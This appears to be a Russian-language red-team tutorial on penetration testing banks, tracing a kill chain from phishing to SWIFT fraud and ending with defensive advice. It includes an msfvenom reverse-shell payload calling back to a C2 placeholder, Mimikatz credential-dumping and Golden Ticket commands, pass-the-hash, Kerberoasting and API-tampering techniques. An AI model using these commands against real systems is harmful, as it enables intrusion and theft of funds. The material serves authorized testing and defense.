Когда говорят про пентест банка, большинство русскоязычных материалов сводится к перечислению положений ЦБ и номеров ГОСТов. Регуляторика - штука нужная, но она не отвечает на главный вопрос: как именно атакующий проходит от фишингового письма до несанкционированного SWIFT-перевода? Я разберу конкретные векторы атак на банковскую систему, покажу kill chain на реальных (пусть и анонимизированных) примерах из red team операций и дам пошаговую методику, которую можно адаптировать под свой проект.
Мой опыт - внешние и внутренние пентесты кредитных организаций: атаки на АБС (Diasoft, ЦФТ), процессинговые системы, SWIFT-инфраструктуру и системы ДБО. Каждый вектор ниже подкреплён сценарием из реального проекта.
Почему тестирование на проникновение банка - это не типовой пентест
Банковская инфраструктура принципиально отличается от корпоративной сети IT-компании или ритейлера. Вот что нужно держать в голове при планировании red team операций в финансовом секторе:Сегментированная архитектура. Банк - не одна плоская сеть. Промышленный контур (АБС, процессинг, SWIFT), DMZ с ДБО и интернет-банком, офисная сеть с АРМ сотрудников, отдельные сегменты для банкоматов и POS-терминалов (тестирование ATM/POS - отдельная обширная тема, здесь не рассматривается). Пентестеру нужно понимать топологию и знать, где проходят границы между зонами.
Критичность простоя. Если сканер уронит core banking систему в рабочие часы - это не «упс», а остановка платежей. Каждое действие согласовывается, окна для активных проверок жёстко регламентированы. На одном проекте нам выделили ровно 4 часа ночью - и ни минутой больше.
Регуляторные рамки. Положение Банка России № 821-П от 17.10.2023 (вступило в силу 01.04.2024, заменило 672-П) обязывает кредитные организации проводить тестирование на проникновение и анализ уязвимостей.
Ссылка скрыта от гостей
конкретизирует требование на этапах ввода в эксплуатацию (ЖЦ.14) и сопровождения (ЖЦ.20) автоматизированных систем. А методические рекомендации 2-МР, опубликованные Банком России в январе 2025 года, впервые очертили область пентеста - системы дистанционного обслуживания клиентов и связанные с ними компоненты.Высокомотивированные атакующие. Финансовый сектор атакуют не скрипт-кидди, а APT-группировки с бюджетами и терпением. SWIFT публикует детальные бюллетени безопасности каждый раз, когда выявляет новый паттерн атак на своих клиентов - и эти бюллетени стоит читать.
Поверхность атаки банковской инфраструктуры
Прежде чем бросаться сканировать порты - карта. Что атаковать в типичном банке? Несколько критичных зон.АБС и core banking system
Автоматизированная банковская система - сердце любой кредитной организации. На российском рынке чаще всего встречаются Diasoft, ЦФТ (Центр финансовых технологий) и самописные решения. Core banking system уязвимости обычно связаны не с публичными CVE, а с кастомными доработками: хранимые процедуры в Oracle/MS SQL без параметризации, сервисные учётки с паролями по умолчанию, API между модулями без аутентификации.На одном проекте мы обнаружили, что интеграционная шина между АБС и процессингом передавала данные о транзакциях через REST API вообще без авторизации - достаточно попасть в нужный VLAN. Прямой путь к манипуляции транзакциями - Transmitted Data Manipulation (T1565.002, Impact) по
Ссылка скрыта от гостей
. Просто красота (для атакующего, конечно).Системы ДБО и мобильный банкинг
Интернет-банк, мобильные приложения и API для партнёрских интеграций - самая доступная точка входа. По опыту, тут три классических проблемы:- IDOR (Insecure Direct Object References) - как отмечает Redscan в руководстве по пентесту финсектора, IDOR-уязвимости в финансовых приложениях активно эксплуатируются. Авторизуешься в мобильном банке, подставляешь чужой ID в запросе - и читаешь чужие данные.
- Недовалидированные JWT. В одном проекте токен мобильного банка содержал ID клиента в payload, но signature не проверялась на бэкенде. Подмена ID в JWT давала доступ к выпискам и операциям любого клиента. Классика жанра.
- Слабая логика OTP. Нет rate-limiting на проверку одноразовых паролей, предсказуемая генерация, OTP не привязан к конкретной операции.
SWIFT-инфраструктура
SWIFT (Society for Worldwide Interbank Financial Telecommunication) - глобальная система финансовых сообщений, и её компрометация означает прямое хищение средств. Архитектура SWIFT на стороне пользователя включает несколько ключевых компонентов:- Secure Zone - сегментированная защищённая зона, где размещена SWIFT-инфраструктура.
- Messaging Interface - ПО для работы с форматами MT, MX, ISO 20022 через SwiftNet.
- Communication Interface - связующее звено между SwiftNet и локальными системами.
- Swift HSM (Hardware Security Modules) - хранилище токенов, смарт-карт и криптоматериала.
- Operator PCs - рабочие станции операторов, взаимодействующих со SWIFT-системами.
- A1 - пользователь владеет и communication, и messaging interface локально - максимальная поверхность атаки.
- A2 - communication interface локально, messaging interface у провайдера - поверхность сокращена, но communication interface остаётся в scope.
- A3 - подключение через коннектор провайдера (Alliance Lite2), локальных SWIFT-серверов нет, но Operator PC и интеграция с бэк-офисом по-прежнему в scope.
- A4 - всё на стороне сервис-бюро; scope сужается до Operator PC, каналов связи с сервис-бюро и бэк-офисной интеграции.
- B - локальная SWIFT-инфраструктура отсутствует полностью (использование SWIFT через корреспондента).
Из известных инцидентов: атака на Bangladesh Bank в феврале 2016 года - через компрометацию SWIFT Alliance Access отправили мошеннические MT103-сообщения на $951M, из которых $81M успешно вывели. Ранее, в 2015-м, атаковали эквадорский Banco del Austro (потери $12,2M) и вьетнамский Tien Phong Commercial Bank.
Векторы начального доступа при атаках на финансовый сектор
Три основных вектора, через которые атакующие (и пентестеры при имитации) попадают внутрь банковской инфраструктуры.Spearphishing Attachment (T1566.001, Initial Access)
Целевой фишинг с вредоносным вложением - вектор номер один для атак на финансовый сектор. APT-группировки, атакующие банки, не рассылают массовый спам - они готовят письма под конкретных людей: бухгалтеров, специалистов казначейства, операторов SWIFT.На практике при red team операции это выглядит так:
Код:
# Генерация payload с помощью msfvenom для начального доступа
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=<C2_IP> LPORT=443 \
-f exe -o svchost_update.exe
# Примечание: имя выходного файла выбрано произвольно.
# Не путать с легитимным Update.exe (Squirrel), который
# классифицирован в LOLBAS для T1070, T1218, T1547.
# Упаковка в документ с макросом (пример для демонстрации концепции)
# В реальном red team используются кастомные загрузчики: shellcode loaders
# с direct syscalls (например, SysWhispers3), unhooking ntdll.dll, шифрование
# payload в памяти. Голый msfvenom .exe будет детектирован любым современным EDR.Exploit Public-Facing Application (T1190, Initial Access)
Банки выставляют в интернет десятки сервисов: интернет-банк, API мобильного приложения, порталы для агентов и партнёров, VPN-шлюзы, почтовые серверы. Каждый из них - потенциальная точка входа.При внешнем пентесте банка стандартный подход:
Bash:
# Обнаружение поверхности атаки
subfinder -d target-bank.ru -o subdomains.txt
httpx -l subdomains.txt -o alive.txt -status-code -title
# Сканирование веб-приложений
nuclei -l alive.txt -t cves/ -t exposures/ -o vulns.txt
# Целевое тестирование API мобильного банка через Burp Suite
# Перехват трафика мобильного приложения, анализ эндпоинтов
# Проверка: IDOR, broken authentication, JWT manipulationValid Accounts (T1078, Initial Access / Persistence / Privilege Escalation)
Использование легитимных учётных записей - вектор, который особенно опасен в контексте безопасности платёжных систем. Атакующие получают валидные креды через:- Утечки баз данных (credential stuffing против корпоративных порталов)
- Компрометацию подрядчиков (supply chain) - интегратор с VPN-доступом к банку
- Социальную инженерию (вишинг, фишинг учётных данных)
Kill chain: от фишинга до вывода средств
Собираем полную цепочку атаки - от первого шага до конечной цели. Именно такой сценарий финансовый red team отрабатывает при полноценном тестировании.Этап 1: закрепление и разведка внутренней сети
После получения initial access атакующий проводит внутреннюю разведку. В банковской AD (Active Directory) - сотни или тысячи объектов. Задача - найти путь до Secure Zone, где живут SWIFT-серверы и АБС.
Код:
# Сбор информации об AD с помощью BloodHound/SharpHound
# (запуск с компрометированной рабочей станции)
.\SharpHound.exe -c All --outputdirectory C:\temp
# Результат загружается в BloodHound для визуализации путей
# атаки до Domain Admin или до целевых серверов SWIFT/АБСЭтап 2: Credential Access - дампинг учётных данных
Для продвижения по цепочке нужны креды привилегированных пользователей.LSASS Memory (T1003.001, Credential Access). Классика - дамп памяти процесса LSASS для извлечения NTLM-хешей и тикетов Kerberos:
Код:
# Дамп LSASS через Mimikatz (пример для демонстрации концепции)
# В реальном red team используются обфусцированные варианты
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Bash:
# Pass the Hash через NetExec (ранее CrackMapExec)
nxc smb 10.10.20.0/24 -u admin_abs -H <NTLM_HASH> --shares
Код:
# Создание Golden Ticket (пример для демонстрации концепции)
mimikatz.exe "kerberos::golden /user:Administrator /domain:bank.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt" "exit"Этап 3: перемещение в Secure Zone
Между офисной сетью и Secure Zone (где живёт SWIFT) стоит межсетевой экран с жёсткими правилами. В теории. На практике мы неоднократно находили:- Сервисные учётки для интеграции АБС с SWIFT, имеющие сетевой доступ в обе зоны
- Jump-серверы с разрешёнными RDP-сессиями в Secure Zone
- Middleware-серверы в data exchange layer - мост между зонами
Этап 4: Financial Theft (T1657, Impact)
Конечная цель атакующего - Financial Theft (T1657, Impact). В контексте SWIFT это создание мошеннических платёжных сообщений (MT103 для клиентских переводов, MT202 для межбанковских). Атакующий, получивший доступ к Operator PC или messaging interface, может:- Создать или модифицировать платёжное сообщение
- Обойти процедуры двойного контроля (если они реализованы только на уровне ПО)
- Скрыть следы, манипулируя логами
Практика: пошаговая методика пентеста банка
Переходим к практике - как организовать и провести тестирование на проникновение банка по шагам.Шаг 1: определение области и согласование
Согласно методическим рекомендациям 2-МР Банка России, перед началом тестирования нужно:- Актуализировать модель угроз (по методике ФСТЭК 2021 года)
- Составить техническое задание с перечнем объектов
- Подписать соглашение об ответственности
- Подготовить план восстановления на случай инцидента
Шаг 2: внешний пентест
Цель - имитация атакующего из интернета без внутреннего доступа.| Фаза | Действия | Инструменты |
|---|---|---|
| Разведка | OSINT, перечисление субдоменов, поиск утечек | subfinder, amass, theHarvester |
| Сканирование | Обнаружение открытых портов и сервисов | nmap, masscan |
| Анализ веб-приложений | Тестирование ДБО и API мобильного банка | Burp Suite Professional, nuclei |
| Эксплуатация | Атаки на найденные уязвимости | sqlmap, Metasploit, кастомные эксплойты |
| Пост-эксплуатация | Закрепление, эскалация привилегий | Cobalt Strike, Sliver |
Ключевые цели внешнего пентеста в банке:
Bash:
# 1. Обнаружение всех веб-приложений
nmap -sV -p 80,443,8080,8443 --script http-title target-bank.ru
# 2. Тестирование API мобильного банка
# Перехват трафика через Burp Suite Proxy
# Проверка всех эндпоинтов на IDOR:
# GET /api/v1/accounts/{account_id}/statements
# Подмена account_id на чужой идентификатор
# 3. Проверка VPN-шлюзов
# Идентификация типа VPN, поиск известных уязвимостей
nmap -sV -p 443,500,4500,10443 vpn.target-bank.ruШаг 3: внутренний пентест
Проводится с рабочего места обычного сотрудника (или через удалённый доступ с правами рядового пользователя). Тут начинается самое интересное для кибербезопасности банков.
Bash:
# Разведка внутренней сети
# Обнаружение контроллеров домена
nmap -p 389,636,88,445 10.10.0.0/16
# Перечисление пользователей и групп AD
nxc smb <DC_IP> -u <user> -p <pass> --users
nxc smb <DC_IP> -u <user> -p <pass> --groups
# Запуск BloodHound для маппинга путей атаки
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp- Пути от текущего пользователя до Domain Admins
- Пути до серверов в Secure Zone (SWIFT, АБС)
- Учётные записи с Kerberoastable SPN
Bash:
# Kerberoasting - извлечение TGS для офлайн-брутфорса
# Impacket v0.11+: при pip-установке (pip install impacket) используйте impacket-GetUserSPNs
# При запуске напрямую из каталога examples/ репозитория - python3 GetUserSPNs.py
impacket-GetUserSPNs bank.local/user:password -dc-ip <DC_IP> -request
# Полученные хеши ломаем через hashcat
hashcat -m 13100 kerberoast.txt wordlist.txtШаг 4: тестирование SWIFT-инфраструктуры
Отдельный и самый чувствительный этап.
Ссылка скрыта от гостей
(CSCF) включает набор обязательных (mandatory) и рекомендательных (advisory) контролей безопасности, количество которых обновляется ежегодно, сгруппированных в несколько принципов.При пентесте SWIFT-зоны проверяем:
- Сегментация Secure Zone - действительно ли зона изолирована? Можно ли попасть из офисной сети?
- Защита Operator PC - есть ли whitelisting приложений, доступ к интернету?
- HSM-конфигурация - ключи в HSM или валяются на файловой системе?
- Аудит и мониторинг - логируются ли операции, есть ли алерты на нетипичные транзакции?
- Payment Controls - используются ли механизмы PCS (Payment Controls Service): обнаружение аномалий повторных платежей, мониторинг новых аккаунтов, поведенческий анализ транзакций?
Шаг 5: оформление отчёта
Отчёт по результатам пентеста банка должен соответствовать требованиям РС БР ИББС-2.6-2014 и включать:- Резюме для руководства (бизнес-риски простым языком - без hex-дампов, а то не дочитают)
- Перечень уязвимостей с оценкой по CVSS
- Перечень скомпрометированных ресурсов и учётных записей
- Техническое описание атак с доказательствами
- Рекомендации по устранению с приоритизацией
Сопоставление с фреймворком TIBER-EU
Ссылка скрыта от гостей
(Threat Intelligence-Based Ethical Red Teaming) - европейский фреймворк для red team тестирования финансовых организаций. Три фазы:- Threat Intelligence - сбор разведданных о реальных угрозах для конкретного банка
- Red Team Testing - имитация атаки на основе собранной разведки
- Closure - совместный анализ результатов, purple teaming
Типичные ошибки при атаках на банковское ПО
На основе десятков проектов - характерные слабые места, которые регулярно всплывают при атаках на банковское ПО:| Компонент | Типичная уязвимость | Импакт |
|---|---|---|
| АБС (Diasoft, ЦФТ) | Сервисные учётки с паролями по умолчанию | Доступ к core banking |
| ДБО (интернет-банк) | IDOR в API, отсутствие rate-limiting OTP | Доступ к данным клиентов |
| Мобильный банк | Нет certificate pinning, слабая валидация JWT | Перехват сессий |
| AD | Kerberoastable сервисные аккаунты, чрезмерные привилегии | Lateral movement до Secure Zone |
| SWIFT Operator PC | Нет whitelisting, есть доступ в интернет | Компрометация платёжных операций |
| Интеграционная шина | API без аутентификации между модулями | Манипуляция транзакциями |
Лично у меня самая частая находка - сервисные учётки АБС. Пароль
Diasoft123 или admin/admin на интеграционном API - это не выдумка, а суровая реальность 2024–2025 годов.Рекомендации по защите финансовой инфраструктуры
Каждая рекомендация ниже следует из реальных сценариев, которые эксплуатировались при пентестах. Финансовая инфраструктура безопасность - не чеклист, а системная работа.Сегментация и контроль трафика. Secure Zone со SWIFT-инфраструктурой должна быть физически или логически изолирована. Разрешённые потоки - только между конкретными хостами по конкретным портам. Никакого «any-any» между зонами. Звучит очевидно, но на практике «временное» правило any-any живёт годами.
Привилегированный доступ. Для сервисных учётных записей АБС и SWIFT - gMSA (Group Managed Service Accounts) с автоматической ротацией паролей. Для интерактивных привилегированных учёток - MFA обязательно, смена при подозрении на компрометацию. Если регуляторика требует периодической ротации (ГОСТ Р 57580) - следовать требованиям, дополняя компенсирующими мерами. PAM-система (Privileged Access Management) для всех подключений к серверам в критичных зонах.
Мониторинг и детекция. SIEM с правилами корреляции под банковскую специфику: аномальные SWIFT-транзакции, массовые неудачные аутентификации, запуск SharpHound/Mimikatz-подобных инструментов на хостах. Если алерт на Mimikatz не настроен - считайте, что его и нет.
SWIFT Payment Controls. Внедрение PCS-механизмов: обнаружение аномалий повторных платежей, мониторинг транзакций с новыми аккаунтами, поведенческий анализ на основе исторических паттернов. PCS работает независимо от внутренних систем банка и защищает даже при компрометации локальной инфраструктуры.
Регулярный пентест. Не формальный сканерный отчёт для галочки, а полноценное тестирование с имитацией реальных атак. Для зрелых организаций - полноценный banking pentest с элементами red team каждые 6 месяцев.
Итоги
Пентест банка - многоэтапный проект, требующий понимания банковской архитектуры, регуляторных требований и реальных тактик атакующих. Русскоязычный рынок перенасыщен статьями о нормативке, и нехватка практических материалов создаёт иллюзию, что пентест финсектора - это «сканирование плюс отчёт». На деле - полноценный kill chain: от OSINT и фишинга через AD-маппинг и кражу учётных данных до компрометации SWIFT-инфраструктуры и демонстрации возможности вывода средств.Если готовитесь к своему первому банковскому пентесту - начните с изучения архитектур SWIFT (A1–A4), освойте BloodHound для маппинга AD и потренируйтесь на лабораторных стендах с эмуляцией банковской инфраструктуры. Поднимите тестовый AD, настройте Kerberoastable SPN, попробуйте пройти весь kill chain от фишинга до Golden Ticket. И помните: в финансовом секторе точность пентестера важнее скорости. Одно неосторожное действие - и остановлен процессинг целого банка.
